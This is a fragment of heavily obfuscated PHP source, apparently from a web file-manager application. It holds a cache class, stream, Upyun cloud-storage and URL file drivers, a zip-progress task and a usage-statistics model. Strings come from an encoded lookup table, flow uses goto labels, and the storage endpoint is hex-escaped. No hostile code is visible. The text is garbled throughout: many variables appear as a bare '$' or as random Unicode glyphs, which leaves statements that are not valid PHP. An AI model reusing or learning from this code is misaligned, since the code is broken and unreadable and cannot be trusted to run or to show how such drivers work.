self::$memoryCache = array(); $ = $GLOBALS[$Ϗ[6]][$Ϗ[357]]; $Ϗ = $[$[$Ϗ[844]]]; $ = $[$Ϗ[845]]; switch ($[$Ϗ[844]]) { case $Ϗ[21]: self::$handle = Model($Ϗ[846]); break; case $Ϗ[847]: self::$handle = new CacheRedis($Ϗ, $); break; case $Ϗ[848]: self::$handle = new CacheMemcached($Ϗ, $); break; case $Ϗ[206]: self::$handle = new CacheFile($Ϗ, $); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($Ё) { if (is_array($Ё) || is_object($Ё)) { $Ё = json_encode($Ё); } $Ё = rawurlencode($Ё); return md5(KOD_SITE_ID . $_SERVER[Ȣ][11] . $Ё); } public static function get($, $琵 = false) { $ = self::key($); if ($琵) { return unserialize(self::init()->get($)); } if (!isset(self::$memoryCache[$])) { $ = self::init()->get($); self::$memoryCache[$] = unserialize($); } return self::$memoryCache[$]; } public static function set($㕻, $Ӭ, $²Ȩ = false) { $ = self::key($㕻); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $Ӭ) { return !0; } if ($²Ȩ === 0) { self::$memoryCache[$] = $Ӭ; return !0; } CacheLock::lock($㕻); $չ = self::init()->set($, serialize($Ӭ), $²Ȩ); self::$memoryCache[$] = $Ӭ; CacheLock::unlock($㕻); return $չ; } public static function getCall($͙Ҭ, $ēӌ, $Ã, $ = array()) { $ =& $_SERVER[Ȣ]; $ = self::get($͙Ҭ); if ($ || $ === $[12]) { return $; } $ = call_user_func_array($Ã, $); $ = $ ? $ : $[12]; self::set($͙Ҭ, $, $ēӌ); return $; } public static function remove($) { $ = self::key($); unset(self::$memoryCache[$]); self::clearTimeout(); CacheLock::lock($); $ڤ = self::init()->remove($); CacheLock::unlock($); return $ڤ; } public static function removeMemory($) { $ʕ = self::key($); unset(self::$memoryCache[$ʕ]); } public static function clearMemory($ = false) { if ($) { $ = self::key($); unset(self::$memoryCache[$]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[Ȣ][849])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[Ȣ][850])) { self::init()->clearTimeout(); } } } goto B덄; aè: define($_SERVER[Ȣ][246], 1); define($_SERVER[Ȣ][247], 2); define($_SERVER[Ȣ][248], 3); goto cŖ; F넒: class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($ӎ, $ѽٰ = 0) { parent::__construct(); $this->source = $ӎ; $this->sourceSize = $ѽٰ; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ = false) { return $this->sourceSize; } public function getContent($ѿ = false) { return $this->fileSubstr($ѿ, 0, $this->sourceSize); } public function fileSubstr($ = false, $Ƥ = 0, $ޏ = 0) { if (!$ޏ) { $ޏ = $this->sourceSize; } $ˊ = $this->sourceSize - $Ƥ; if ($ޏ >= $ˊ) { $ޏ = $ˊ; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $Ƥ, $ޏ); } if ($this->sourceType == self::TYPE_FILE) { if ($ޏ <= 0) { return $_SERVER[Ȣ][12]; } $ڳ = ftell($this->source); fseek_64($this->source, $ڳ + $Ƥ); $ = @fread($this->source, $ޏ); fseek_64($this->source, $ڳ); return $; } } public function hashMd5($ = false) { return md5($this->getContent()); } public static function hash($ڵ, $ύ = 0) { $ = new PathDriverStream($ڵ, $ύ); return $->hashSimple($ڵ); } public static function md5($ЅƇ, $ = 0) { $۱ = new PathDriverStream($ЅƇ, $); return $۱->hashMd5($ЅƇ); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\x68\x74\164\x70\72\57\57\166\60\56\x61\160\151\x2e\165\160\x79\x75\156\x2e\x63\x6f\x6d"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($) { parent::__construct(); $this->_init($); } public function _init($) { $墓 =& $_SERVER[Ȣ]; foreach ($ as $Ϗ => $) { if (isset($this->{$Ϗ})) { $this->{$Ϗ} = $; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($墓[1463] . LNG($墓[1394])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($, $Թ = "\107\105\x54") { $ =& $_SERVER[Ȣ]; $ = gmdate($[1427]); $β = base64_encode(hash_hmac($[1464], "{$Թ}\46{$}\46{$}", md5("{$this->userpass}"), !0)); $ڠ = array("\101\x75\164\150\x6f\162\x69\x7a\141\x74\151\157\156\72\125\x50\x59\125\x4e\x20{$this->username}\x3a{$β}", "\x44\141\164\x65\72{$}"); return $ڠ; } public function ussRequest($, $ح = "\x47\105\x54", $ڻ = false, $ = false, $冣 = false) { $ =& $_SERVER[Ȣ]; $ = trim($, $[8]); $Ɋ = "\x2f{$this->bucket}\57{$}"; $۵ = $this->ussHeaders($Ɋ, $ح); if ($) { $۵ = array_merge($۵, $); } $ = url_request($this->endpoint . $Ɋ, $ح, $ڻ, $۵, $冣); if (!$) { return array($[1201] => !1, $[1203] => $[1465]); } if (strtolower($ح) == $[203] || in_array($[$[1201]], array($[1320], $[1466]))) { $ڻ = $[$[1467]]; } else { $ڻ = json_decode($[$[1203]], !0); if (!$ڻ) { $ڻ = $[$[1203]]; } else { if (!$[$[767]] && isset($ڻ[$[1468]])) { $ڻ = $ڻ[$[1468]]; } } } return array($[1201] => $[$[767]], $[1203] => $ڻ); } public function mkfile($, $Я = '', $艀 = REPEAT_RENAME) { if ($this->setContent($, $Я)) { return $this->getPathOuter($); } return !1; } public function mkdir($߶, $̴ = REPEAT_SKIP) { $ =& $_SERVER[Ȣ]; $ь = trim($߶, $[8]); if ($this->_isFolder($ь)) { return $this->getPathOuter($ь); } $¨ = array($[1469]); $ = $this->ussRequest($ь, $[235], !1, $¨); return $[$[1201]] ? $this->getPathOuter($ь) : !1; } public function copyFile($, $) { $ =& $_SERVER[Ȣ]; $ = array($[1470] . "\57{$this->bucket}\x2f{$}", $[1471]); $ = $this->ussRequest($, $[237], !1, $); return $[$[1201]] ? !0 : $this->getPathOuter($); } public function moveFile($, $ߦ) { $ó =& $_SERVER[Ȣ]; $ = array($ó[1472] . "\x2f{$this->bucket}\x2f{$}", $ó[1471]); $ = $this->ussRequest($ߦ, $ó[237], !1, $); return $[$ó[1201]] ? !0 : $this->getPathOuter($ߦ); } public function delFile($ܢ) { $ =& $_SERVER[Ȣ]; $ = $this->ussRequest($ܢ, $[1473]); return $[$[1201]] ? !0 : !1; } public function delFolder($) { $瞱 =& $_SERVER[Ȣ]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $Η = $ = array(); $this->fileList($, $Η, $, !0); $this->listItemCache = !0; foreach ($ as $ϒ) { $큏 = $this->ussRequest($ϒ[$瞱[32]], $瞱[1473]); if (!$큏[$瞱[1201]]) { return !1; } } foreach ($Η as $) { $큏 = $this->ussRequest($, $瞱[1473]); if (!$큏[$瞱[1201]]) { return !1; } } $큏 = $this->ussRequest($, $瞱[1473]); return $큏[$瞱[1201]]; } public function rename($롂, $) { if ($this->isFile($롂)) { $ = get_path_father($롂) . $; return $this->moveFile($롂, $); } return $this->renameObject($롂, $); } public function fileInfo($, $厡 = false, $Ȳ = array()) { $ =& $_SERVER[Ȣ]; $ͯ = array($[32] => $this->pathThis($), $[88] => $this->getPathOuter($[8] . $), $[33] => $[206], $[90] => isset($Ȳ[$[90]]) ? $Ȳ[$[90]] : 0, $[181] => $this->ext($)); if ($厡) { return $ͯ; } $ͯ[$[207]] = $ͯ[$[96]] = 0; $ͯ[$[208]] = $ͯ[$[209]] = !0; if (empty($Ȳ)) { $Ȳ = $this->objectMeta($); if (!$Ȳ) { return $ͯ; } } $ͯ[$[207]] = intval($Ȳ[$[1474]]); $ͯ[$[96]] = intval($Ȳ[$[1475]]); $ͯ[$[90]] = $Ȳ[$[90]]; return $ͯ; } public function folderInfo($, $荮 = false) { $ =& $_SERVER[Ȣ]; $ם = array($[32] => $this->pathThis($), $[88] => $this->getPathOuter($[8] . $), $[33] => $[89]); if ($荮) { return $ם; } $ם[$[207]] = $ם[$[96]] = 0; $ם[$[208]] = $ם[$[209]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $ם; } } $ם[$[207]] = intval($[$[1474]]); $ם[$[96]] = intval($[$[1475]]); return $ם; } private function listObjs($Ɠ, $ = 0, $ퟝ = 1000) { $ =& $_SERVER[Ȣ]; $ = array($[1476], $[1477] . $ퟝ); if ($) { $[] = $[1478] . $; } $塲 = $this->ussRequest($Ɠ, $[239], !1, $); return !$塲[$[1201]] ? !1 : $塲[$[1203]]; } private function fileList($ہ, &$싡, &$۪, $ē = false) { $ =& $_SERVER[Ȣ]; $؝ = $[12]; $ǭ = 1000; $ = rtrim($ہ, $[8]) . $[8]; $ۦ = $this->listItemCache === !1 ? !1 : !0; while (!0) { check_abort(); $撛Չ = $this->listObjs($ہ, $؝, $ǭ); if (!$撛Չ) { return !1; } $؝ = isset($撛Չ[$[1479]]) ? $撛Չ[$[1479]] : $[12]; $ = isset($撛Չ[$[1480]]) ? $撛Չ[$[1480]] : array(); foreach ($ as $) { $Ѝ = $[$[33]] == $[89] ? !0 : !1; $ = ltrim($ . $[$[32]], $[8]) . ($Ѝ ? $[8] : $[12]); $ٜ = array($[32] => $, $[33] => $Ѝ ? $[89] : $[206], $[90] => $[$[345]], $[1475] => $[$[1481]]); if ($ۦ) { $this->cacheMethod($[212], $, $Ѝ); $this->cacheMethod($[213], $, $ٜ); } if ($Ѝ) { $싡[] = $; if ($ē) { $this->fileList($, $싡, $۪, $ē); } continue; } $۪[] = $ٜ; } if (count($) < $ǭ) { break; } } if ($ۦ) { $this->cacheMethod($[212], $ہ, !0); } } public function listPath($爑ؖ, $Ϟ߉ = false) { $ʩ =& $_SERVER[Ȣ]; $Ȯ = $ = array(); $this->fileList($爑ؖ, $Ȯ, $); foreach ($Ȯ as $ы => $ٝ) { $Ȯ[$ы] = $this->folderInfo($ٝ, $Ϟ߉); } foreach ($ as $ы => $ٝ) { $[$ы] = $this->fileInfo($ٝ[$ʩ[32]], $Ϟ߉, $ٝ); } return array($ʩ[87] => $Ȯ, $ʩ[86] => $); } public function has($Ћ, $ܶ = false, $ = true) { $Àݸ =& $_SERVER[Ȣ]; $視 = $Àݸ[12]; $ī = 500; $è = 0; $Ϲ = 0; $ = rtrim($Ћ, $Àݸ[8]) . $Àݸ[8]; while (!0) { check_abort(); $ = $this->listObjs($Ћ, $視, $ī); if (!$) { return !1; } $視 = isset($[$Àݸ[1479]]) ? $[$Àݸ[1479]] : $Àݸ[12]; $Ė = isset($[$Àݸ[1480]]) ? $[$Àݸ[1480]] : array(); if (empty($Ė)) { break; } $ƈ = array_filter($Ė, function ($㱀) { $Ͻ =& $_SERVER[Ȣ]; return $㱀[$Ͻ[33]] == $Ͻ[89]; }); $ρ = count($Ė); $ƈ = count($ƈ); $Ģ = $ρ - $ƈ; if ($ܶ) { $Ϲ += $ƈ; $è += $Ģ; if ($ρ < $ī) { break; } continue; } if ($) { if ($Ģ) { return !0; } } else { if ($ƈ) { return !0; } } if ($ρ < $ī) { break; } } if ($ܶ) { return array($Àݸ[216] => $è, $Àݸ[217] => $Ϲ); } return !1; } public function listAll($) { $ =& $_SERVER[Ȣ]; $ = $ȋ = array(); $this->fileList($, $, $ȋ, !0); $Ŕ = array(); foreach ($ȋ as $) { $Ŕ[$[$[32]]] = $[$[90]]; } foreach ($ as $) { if (is_string($)) { $Ŕ[$] = 0; } } return $this->listAllFiles($, array_keys($Ŕ), $Ŕ); } public function canRead($ͭ) { return $this->exist($ͭ) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($Ű) { return $this->fileSubstr($Ű, 0, -1); } public function setContent($, $ = '') { $ =& $_SERVER[Ȣ]; if (!$) { $״ = $this->ussRequest($, $[235]); return $״[$[1201]]; } $шڰ = $this->tempFile($this->pathThis($)); file_put_contents($шڰ, $); if ($this->upload($, $шڰ)) { $this->tempFileRemve($шڰ); return !0; } return !1; } public function fileSubstr($ފ, $, $ӷ) { $ =& $_SERVER[Ȣ]; if (!($͵ = $this->link($ފ))) { return !1; } $ = !1; if ($ӷ > 0) { $㓉 = $ + $ӷ - 1; $ = array($[1442] . $ . $[465] . $㓉); } $ = url_request($͵, $[239], !1, $); return $[$[767]] ? $[$[1203]] : !1; } public function upload($, $ك, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[Ȣ]; $ = IO::size($ك); if ($ <= 1024 * 1024 * 200) { $î = array($[1482] . $ك); $͖ij = $this->ussRequest($, $[237], $î); return $͖ij[$[1201]] ? $this->getPathOuter($) : !1; } $ = 1024 * 1024 * 10; $㬬 = array($[1483], $[1484] . $, $[1485], $[1486] . $); $͖ij = $this->ussRequest($, $[237], !1, $㬬); if (!$͖ij[$[1201]]) { return !1; } $ڌ = $͖ij[$[1203]]; $ɤؚ = 0; $ = $ڌ[$[1487]]; $ = fopen($ك, $[1391]); if (!$) { return !1; } do { $ = $ڌ[$[1488]]; fseek_64($, $ɤؚ); $Ρ = fread($, $); $ֆϝ = 0; do { $ֆϝ++; $ڌ = $this->uploadPart($, $ڌ, $Ρ); } while (!$ڌ && $ֆϝ < 3); if (!$ڌ) { return !1; } $ = $ڌ[$[1487]]; $ɤؚ += $; } while ($ != -1); fclose($); $㬬 = array($[1489], $[1490] . $ڌ[$[1491]], $[1485]); $͖ij = $this->ussRequest($, $[237], !1, $㬬); return $͖ij[$[1201]] ? $this->getPathOuter($Ɓ) : !1; } private function uploadPart($Ą, $, &$) { $LJ =& $_SERVER[Ȣ]; $ = array($LJ[1492], $LJ[1490] . $[$LJ[1491]], $LJ[1493] . $[$LJ[1487]], $LJ[153] . $[$LJ[1488]]); $ = $this->ussRequest($Ą, $LJ[237], $, $); return !$[$LJ[1201]] ? $[$LJ[1201]] : $[$LJ[1203]]; } public function uploadFormData($ﳛ, $ = 3600) { return $this->uploadPolicy($ﳛ, $); } public function multiUploadFormData($, $騛 = 3600) { $莨 =& $_SERVER[Ȣ]; $Ջ = (int) $GLOBALS[$莨[7]][$莨[90]]; return $this->uploadPolicy($, $騛, $Ջ); } private function uploadPolicy($, $ = 3600, $țﱥ = 0) { $ɴ =& $_SERVER[Ȣ]; $ڇ = $ɴ[8] . $this->bucket; $ = gmdate($ɴ[1427]); $겛 = array($ɴ[1494] => $this->bucket, $ɴ[1495] => $, $ɴ[1496] => time() + $, $ɴ[1497] => $); if ($țﱥ) { $겛[$ɴ[1407]] = $țﱥ; } $ϵܲ = base64_encode(json_encode($겛)); $ʳА = base64_encode(hash_hmac($ɴ[1464], "\120\x4f\x53\x54\46{$ڇ}\46{$}\x26{$ϵܲ}", md5("{$this->userpass}"), !0)); $ = array($ɴ[1332] => $ϵܲ, $ɴ[1498] => "\125\120\x59\x55\x4e\x20{$this->username}\72{$ʳА}", $ɴ[188] => $this->endpoint . $ڇ); return $; } public function download($ܓ, $) { $ҳ߅ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($ܓ))) { return !1; } $ = 0; $ = 1024 * 200; $؎֤ = fopen($ҳ߅, $_SERVER[Ȣ][1448]); while (!0) { $ = $this->fileSubstr($ܓ, $, $); if ($ === !1) { return !1; } fwrite($؎֤, $); $ += $; if (strlen($) < $) { break; } } fclose($؎֤); return $; } public function link($, $˟ = array()) { $ =& $_SERVER[Ȣ]; $ = trim($, $[8]); if (!empty($this->token)) { $ = strtotime(date($[1499])); $۾ = substr(md5($this->token . $[292] . $ . $[1500] . $), 12, 8) . $; $˟[] = $[1501] . $۾; } $ʁ = !empty($˟) ? $[83] . implode($[292], $˟) : $[12]; return $this->getHost() . $[8] . $ . $ʁ; } public function fileOut($, $ = false, $ = false, $姬 = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $姬); } if (!$) { $ = $this->pathThis($); } $Ʌ = $ ? array($_SERVER[Ȣ][1502] . rawurlencode($)) : array(); $ = $this->link($, $Ʌ); $this->fileOutLink($); } public function fileOutServer($, $ݷ = false, $ = false, $ = '') { parent::fileOut($, $ݷ, $, $); } public function fileOutImage($͒, $б = 250) { $ = $this->link($͒ . $_SERVER[Ȣ][1503] . $б); $this->fileOutLink($); } public function fileOutImageServer($, $ҽ = 250) { parent::fileOutImage($, $ҽ); } public function hashMd5($ӎ) { $݅ =& $_SERVER[Ȣ]; $Ԅ = $this->_objectMeta($ӎ); return isset($Ԅ[$݅[221]]) ? $Ԅ[$݅[221]] : !1; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[Ȣ][90]] : 0; } public function info($ӷ) { if ($this->isFolder($ӷ)) { return $this->folderInfo($ӷ); } else { if ($this->isFile($ӷ)) { return $this->fileInfo($ӷ); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($Ȱ) { return !$this->isFolder($Ȱ) && $this->objectMeta($Ȱ); } public function isFolder($) { return $this->cacheMethod($_SERVER[Ȣ][212], $); } protected function objectMeta($Ӱ) { return $this->cacheMethod($_SERVER[Ȣ][213], $Ӱ); } protected function _objectMeta($) { $Ɓ =& $_SERVER[Ȣ]; if ($ == $Ɓ[12] || $ == $Ɓ[8]) { return array(); } $܍ = $this->ussRequest($, $Ɓ[1504]); if (!$܍[$Ɓ[1201]]) { return null; } $ = isset($܍[$Ɓ[1203]]) ? $܍[$Ɓ[1203]] : array(); if (!isset($[$Ɓ[1505]])) { return null; } $˵椖 = array($Ɓ[33] => isset($[$Ɓ[1505]]) ? $[$Ɓ[1505]] : null, $Ɓ[90] => isset($[$Ɓ[1506]]) ? $[$Ɓ[1506]] : null, $Ɓ[221] => isset($[$Ɓ[1507]]) ? $[$Ɓ[1507]] : null, $Ɓ[1474] => isset($[$Ɓ[1508]]) ? $[$Ɓ[1508]] : null); $˵椖[$Ɓ[1475]] = isset($[$Ɓ[1509]]) ? strtotime($[$Ɓ[1509]]) : $˵椖[$Ɓ[1474]]; return $˵椖; } protected function _isFolder($) { $ݻӥ =& $_SERVER[Ȣ]; if ($ == $ݻӥ[12] || $ == $ݻӥ[8]) { return !0; } $˱ = $this->_objectMeta($); return isset($˱[$ݻӥ[33]]) && $˱[$ݻӥ[33]] == $ݻӥ[89] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ = false) { } public function exist($ݴ) { $ = $this->info($ݴ); return $[$_SERVER[Ȣ][208]]; } public function isFile($) { $Ô = $this->info($); return $Ô[$_SERVER[Ȣ][208]]; } public function isFolder($Ȏ) { return !1; } public function size($Ǽ¬) { $Ӄ = $this->info($Ǽ¬); return $Ӄ[$_SERVER[Ȣ][90]]; } public function info($ğ) { return $this->infoParse($ğ); } public function infoAuth($͵Һ) { return $this->infoParse($͵Һ); } public function infoWithChildren($ƛ) { return $this->infoParse($ƛ); } public function infoFull($Ҙ) { return $this->infoParse($Ҙ); } private function infoParse($ߒ) { $ =& $_SERVER[Ȣ]; $ٱ = $this->header($ߒ); if (!$ٱ || !$ٱ[$[767]]) { return !1; } $ = _get($ٱ, $[345], 0); $ = array($[32] => $ٱ[$[32]], $[88] => $ߒ, $[33] => $[206], $[90] => intval($), $[181] => get_path_ext($ٱ[$[32]]), $[1388] => $ > 0 && $ٱ[$[1510]], $[1389] => !1); return $; } private function header($ҧܘ) { $̬ =& $_SERVER[Ȣ]; if (isset(self::$_cacheHeader[$ҧܘ])) { return self::$_cacheHeader[$ҧܘ]; } $ = isset($GLOBALS[$̬[1511]]) ? $GLOBALS[$̬[1511]] : !1; $GLOBALS[$̬[1511]] = !0; self::$_cacheHeader[$ҧܘ] = url_header($ҧܘ); $GLOBALS[$̬[1511]] = $; return self::$_cacheHeader[$ҧܘ]; } public function hashSimple($ƀ, $܅ = false) { $ԉ =& $_SERVER[Ȣ]; $ = $this->info($ƀ); if (!$ || !$[$ԉ[208]]) { return !1; } $ = $[$ԉ[90]]; $ө = 200; $ѫև = 50; if ($ <= $ө * $ѫև) { return md5($this->fileSubstr($ƀ, 0, $)) . $; } $ = intval($ / $ѫև); $ͷ = $ԉ[12]; $ޭ܅ = timeFloat(); $Ҋ = 15; for ($ = 0; $ < $ѫև; $++) { if (timeFloat() - $ޭ܅ > $Ҋ) { return !1; } $ = $this->fileSubstr($ƀ, $ * $, $ө); if (!$) { return !1; } $ͷ .= $; } $ͷ .= $this->fileSubstr($ƀ, $ - $ө, $ө); return md5($ͷ) . $; } public function getContent($ݰ) { return $this->fileSubstr($ݰ); } public function fileSubstr($ƙ, $㵦 = 0, $숓 = -1) { $ﯯ =& $_SERVER[Ȣ]; $ = $this->info($ƙ); if (!$ || !$[$ﯯ[208]] && $[$ﯯ[90]] > 1024 * 1024 * 10) { return !1; } if ($숓 === -1) { $숓 = $[$ﯯ[90]]; } if ($숓 == 0) { return $ﯯ[12]; } $˦ = array($ﯯ[1512] . $㵦 . $ﯯ[799] . ($㵦 + $숓 - 1)); $լ = url_request($ƙ, $ﯯ[239], !1, $˦, !1, !1, 1); return $լ[$ﯯ[1203]] ? $լ[$ﯯ[1203]] : $ﯯ[12]; } public function download($ڧ, $) { Downloader::start($ڧ, $); return $; } } goto c; aݶ: class TaskZip extends TaskFileTransfer { protected function startAfter() { $Ԥ =& $_SERVER[Ȣ]; parent::startAfter(); Hook::bind($Ԥ[1761], array($this, $Ԥ[1756])); $ =& $this->task; $[$Ԥ[1758]] = $Ԥ[1209]; if (!$[$Ԥ[1566]]) { $[$Ԥ[1566]] = LNG($Ԥ[1762]); } } protected function endAfter() { $ =& $_SERVER[Ȣ]; parent::endAfter(); Hook::unbind($[1761], array($this, $[1756])); } public function updateAfter() { $ =& $_SERVER[Ȣ]; $ =& $this->task; if (!$[$[803]] || !$[$[780]]) { return; } if ($[$[1758]] == $[1209]) { $秪 = $[$[1715]]; if ($[$[1716]] != $[1209]) { $秪 = 0; } $ = ($[$[1719]] + $秪) / $[$[780]]; $[$[1668]] = $ * 0.3; } else { if ($[$[1758]] == $[321]) { $ = $[$[1667]] / $[$[803]]; $[$[1668]] = 0.3 + $ * 0.5; } else { if ($[$[1758]] == $[118]) { $ = 0; if ($[$[1714]]) { $ = $[$[1715]] / $[$[1714]]; } $[$[1668]] = 0.3 + 0.5 + $ * 0.2; } } } if ($[$[1668]] > 0) { $ෳ = timeFloat() - $[$[1670]] - $[$[1673]]; $[$[1674]] = $ෳ * (1 - $[$[1668]]) / $[$[1668]]; } } public function copyFileStart($۵, $ѱ, $Ǥ, $, $á, $) { $ͤ =& $_SERVER[Ȣ]; parent::copyFileStart($۵, $ѱ, $Ǥ, $, $á, $); $ =& $this->task; if ($[$ͤ[1758]] == $ͤ[321]) { $[$ͤ[1758]] = $ͤ[118]; } $this->update(); } public function copyFileEnd($Ɲ, $, $, $, $, $) { $ =& $_SERVER[Ȣ]; $ߓⷹ =& $this->task; $ߓⷹ[$[1715]] = $ߓⷹ[$[1714]]; $ߓⷹ[$[1719]] += $ߓⷹ[$[1714]]; $ߓⷹ[$[1716]] = $[12]; $this->update(); } public function nameParse($ݙ) { $ϐ =& $_SERVER[Ȣ]; $톸 =& $this->task; if ($톸[$ϐ[1667]] < $톸[$ϐ[803]]) { $ɕ˟ = get_path_this($ݙ); if (strstr($ɕ˟, $ϐ[10])) { $톸[$ϐ[1667]] += 1; } } if ($톸[$ϐ[1758]] == $ϐ[1209]) { $톸[$ϐ[1758]] = $ϐ[321]; } $톸[$ϐ[1712]] = $ݙ; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($ʎ) { $ϖѳ =& $_SERVER[Ȣ]; $ = array($ϖѳ[602] => array($ϖѳ[33] => $ϖѳ[1763], $ϖѳ[281] => array($ϖѳ[233], $ϖѳ[782], $ϖѳ[1764], $ϖѳ[1765])), $ϖѳ[1766] => array($ϖѳ[33] => $ϖѳ[1767], $ϖѳ[281] => array($ϖѳ[233], $ϖѳ[780], $ϖѳ[1768], $ϖѳ[1769], $ϖѳ[1770]))); if (!isset($[$ʎ])) { return !1; } $this->optionType = $[$ʎ][$ϖѳ[33]]; $this->field = $[$ʎ][$ϖѳ[281]]; return !0; } public function listData($ԁ = false, $ﶠ = "\155\x6f\144\151\x66\171\124\x69\x6d\x65", $̫ = false) { return parent::listData($ԁ, $ﶠ, $̫); } public function trendList($ʸ) { $ǜ =& $_SERVER[Ȣ]; $̘ = $this->listData(); if ($̘) { $ = end($̘); $ׯ = date($ǜ[1771], strtotime($ǜ[1772])); if ($[$ǜ[233]] == $ׯ) { return $̘; } $ = strtotime($[$ǜ[233]]); } if (!isset($)) { $وޮ = $ʸ == $ǜ[602] ? $ǜ[546] : $ǜ[842]; $ = Model($وޮ)->min($ǜ[207]); } $ג = $ǜ[1773] . ucfirst($ʸ); $ = $this->dateList($); foreach ($ as $ׯ) { $this->{$ג}($ׯ); } return $this->listData(); } private function dateList($) { $釙 =& $_SERVER[Ȣ]; $ = $; $ʙ = strtotime($釙[1772]); $ = array(); while ($ <= $ʙ) { $[] = date($釙[1771], $); $ = strtotime($釙[1774], $); } return $; } public function _recordUser($⣻ = '') { $ =& $_SERVER[Ȣ]; $ș = strtotime(date($[1775], strtotime($⣻))); $ژ = strtotime(date($[1776], strtotime($⣻))); $ = array($[207] => array($[1025], $ژ)); $釔Ҥ = Model($[546])->where($)->count($[1666]); $[$[207]] = array($[341], array($ș, $ژ)); $ = Model($[546])->where($)->count($[1666]); $[$[33]] = $[1777]; $ˋ = Model($[1778])->where($)->count($[1779]); $ڳ = array($[233] => $⣻, $[782] => (int) $釔Ҥ, $[1764] => (int) $, $[1765] => (int) $ˋ); return $this->insert($ڳ); } public function _recordStore($ = '') { $ʟ =& $_SERVER[Ȣ]; $֬ = strtotime(date($ʟ[1776], strtotime($))); $Щ = array($ʟ[207] => array($ʟ[1025], $֬)); $㯄 = Model($ʟ[475])->where($Щ)->sum($ʟ[90]); $Щ[$ʟ[416]] = 0; $Ӱ = Model($ʟ[842])->where($Щ)->sum($ʟ[90]); $Щ[$ʟ[417]] = 1; $ = Model($ʟ[842])->where($Щ)->sum($ʟ[90]); $Щ[$ʟ[417]] = 2; $ = Model($ʟ[842])->where($Щ)->sum($ʟ[90]); $Ӊ = array($ʟ[233] => $, $ʟ[780] => (int) $Ӱ, $ʟ[1768] => (int) $㯄, $ʟ[1769] => (int) $, $ʟ[1770] => (int) $); return $this->insert($Ӊ); } public function trend($ª, $ڠ) { $ =& $_SERVER[Ȣ]; if (!$this->init($ª)) { return !1; } $оѺ = $this->trendList($ª); if ($оѺ && $ڠ != $[1639]) { $ = $оѺ[0][$[233]]; $ = $this->validDate($ڠ, $); $홱 = array(); $ۧ = array_to_keyvalue($оѺ, $[233]); foreach ($ as $) { if (isset($ۧ[$])) { $ = $ۧ[$]; } else { $ = end($оѺ); $[$[233]] = $; if ($ª == $[602]) { $[$[1764]] = $[$[1765]] = 0; } } $홱[] = $; } $оѺ = $홱; } $բ = array($[602] => array($[782] => LNG($[1780]), $[1764] => LNG($[1781]), $[1765] => LNG($[1782])), $[1766] => array($[780] => LNG($[1783]), $[1768] => LNG($[1784]), $[1769] => LNG($[1785]), $[1770] => LNG($[1786]))); $ = array($[602] => $[1787], $[1766] => $[90]); if (empty($оѺ)) { $ = date($[1771], strtotime($[1772])); $ɀ = array($[233] => $); foreach ($բ[$ª] as $Ԯ => $) { $ɀ[$Ԯ] = 0; } $оѺ[] = $ɀ; } $֛ = array(); foreach ($оѺ as $) { if ($ª == $[1766] && $[$[1768]] > $[$[780]]) { $[$[1768]] = $[$[780]]; } foreach ($բ[$ª] as $Ԯ => $ؕ) { $ = array($[233] => $[$[233]], $[1566] => $ؕ); $[$[$ª]] = isset($[$Ԯ]) ? $[$Ԯ] : 0; $֛[] = $; } } return $֛; } public function validDate($î, $և) { $ε =& $_SERVER[Ȣ]; $ʲف = date($ε[1771], strtotime($ε[1772])); $ = array($ʲف); switch ($î) { case $ε[1646]: $ = mktime(0, 0, 0, date($ε[1788]), date($ε[1385]) - date($ε[1448]) + 7 - 7, date($ε[1789])); $缅 = 0; do { $䲰 = date($ε[1771], $ - 3600 * 24 * 7 * $缅); $[] = $䲰; $缅++; } while ($և < $䲰); break; case $ε[1644]: $缅 = 1; do { $ = date($ε[1790], strtotime("\55\x20{$缅}\x20\x6d\x6f\x6e\x74\x68\163")); $[] = $; $缅++; } while ($և < $); break; case $ε[1791]: $¥ = (int) date($ε[1789], strtotime($և)); $ = (int) date($ε[1789]); if ($¥ >= $) { break; } for ($¥; $¥ < $; $¥++) { $[] = $¥ . $ε[1792]; } break; default: break; } if ($և > end($)) { array_pop($); } sort($); return $; } public function listTable($ݾ) { $ݴ = ucfirst($ݾ); return Model($ݴ)->listData(); } public function option($݈Ō) { $ = $_SERVER[Ȣ][1793] . ucfirst($݈Ō); return $this->{$}(); } private function optionUser() { $ =& $_SERVER[Ȣ]; $ū = Model($[546])->count($[1666]); $ܤ = Model($[546])->where($[1794])->count($[1666]); $פ = intval($GLOBALS[$[6]][$[357]][$[1622]]) / 3600; $ = strtotime("\x2d{$פ}\40\150\157\165\x72\x73"); $ = strtotime(date($[1775])); if ($ < $) { $ = $; } $뾁 = array($[1795] => array($[1026], $)); $ = (int) Model($[546])->where($뾁)->count($[1666]); if (!$) { $ = 1; } $뾁 = array($[1795] => array($[1026], $)); $Ɩ = Model($[546])->where($뾁)->count($[1666]); return array($[776] => (int) $ū, $[1796] => (int) ($ū - $ܤ), $[1797] => (int) $ܤ, 